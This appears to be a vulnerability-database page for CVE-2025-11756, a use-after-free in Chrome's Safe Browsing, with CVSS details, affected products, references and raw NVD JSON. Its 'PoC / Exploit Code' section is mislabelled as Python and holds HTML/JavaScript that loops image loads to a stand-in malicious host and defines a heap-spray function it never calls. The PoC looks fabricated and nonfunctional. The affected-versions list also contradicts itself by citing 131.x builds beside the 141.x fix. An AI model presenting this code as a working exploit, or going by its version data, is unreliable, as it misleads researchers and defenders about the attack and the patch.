CVE-2025-11756

Description

Use after free in Safe Browsing in Google Chrome prior to 141.0.7390.107 allowed a remote attacker who had compromised the renderer process to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 131.0.6778.264 (Windows)

Google Chrome < 131.0.6778.264 (Mac)

Google Chrome < 131.0.6778.264 (Linux)

Google Chrome < 141.0.7390.107 (所有平台，最新修复版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-11756 PoC - Use After Free in Safe Browsing
// This is a conceptual PoC demonstrating the vulnerability pattern

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-11756 PoC</title>
</head>
<body>
    <h1>CVE-2025-11756 - Use After Free in Safe Browsing</h1>
    <p>Target: Google Chrome < 141.0.7390.107</p>
    
    <script>
        // Step 1: Trigger Safe Browsing check
        async function triggerSafeBrowsing() {
            // Create an element that triggers Safe Browsing lookup
            const link = document.createElement('a');
            link.href = 'https://malicious-site.example.com';
            link.textContent = 'Click me';
            document.body.appendChild(link);
            
            // Step 2: Attempt to trigger the use-after-free condition
            // by rapidly triggering and cancelling Safe Browsing requests
            for (let i = 0; i < 1000; i++) {
                // Force garbage collection if available
                if (window.gc) {
                    window.gc();
                }
                
                // Trigger new navigation or resource loading
                const img = new Image();
                img.src = 'https://malicious-site.example.com/img' + i + '.png';
                
                // Remove element to trigger cleanup
                setTimeout(() => {
                    link.remove();
                }, 10);
                
                await new Promise(r => setTimeout(r, 5));
            }
        }
        
        // Step 3: Attempt heap spraying to control freed memory
        function heapSpray() {
            const sprayedData = new Array(10000).fill(0x41414141);
            return sprayedData;
        }
        
        // Execute the exploit
        triggerSafeBrowsing();
        
        console.log('CVE-2025-11756 PoC executed');
        console.log('This PoC demonstrates the vulnerability pattern');
        console.log('Actual exploitation requires specific memory manipulation');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11756
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11756
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11756/
[4] VulDB https://vuldb.com/cve/CVE-2025-11756
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_14.html
[6] https://issues.chromium.org/issues/447192722

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-11756", "sourceIdentifier": "[email protected]", "published": "2025-11-06T23:15:35.470", "lastModified": "2025-11-25T14:48:32.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Safe Browsing in Google Chrome prior to 141.0.7390.107 allowed a remote attacker who had compromised the renderer process to potentially perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "141.0.7390.107", "matchCriteriaId": "F8C682A4-F163-48C0-ADC8-B5A69C312DD5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_14.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/447192722", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}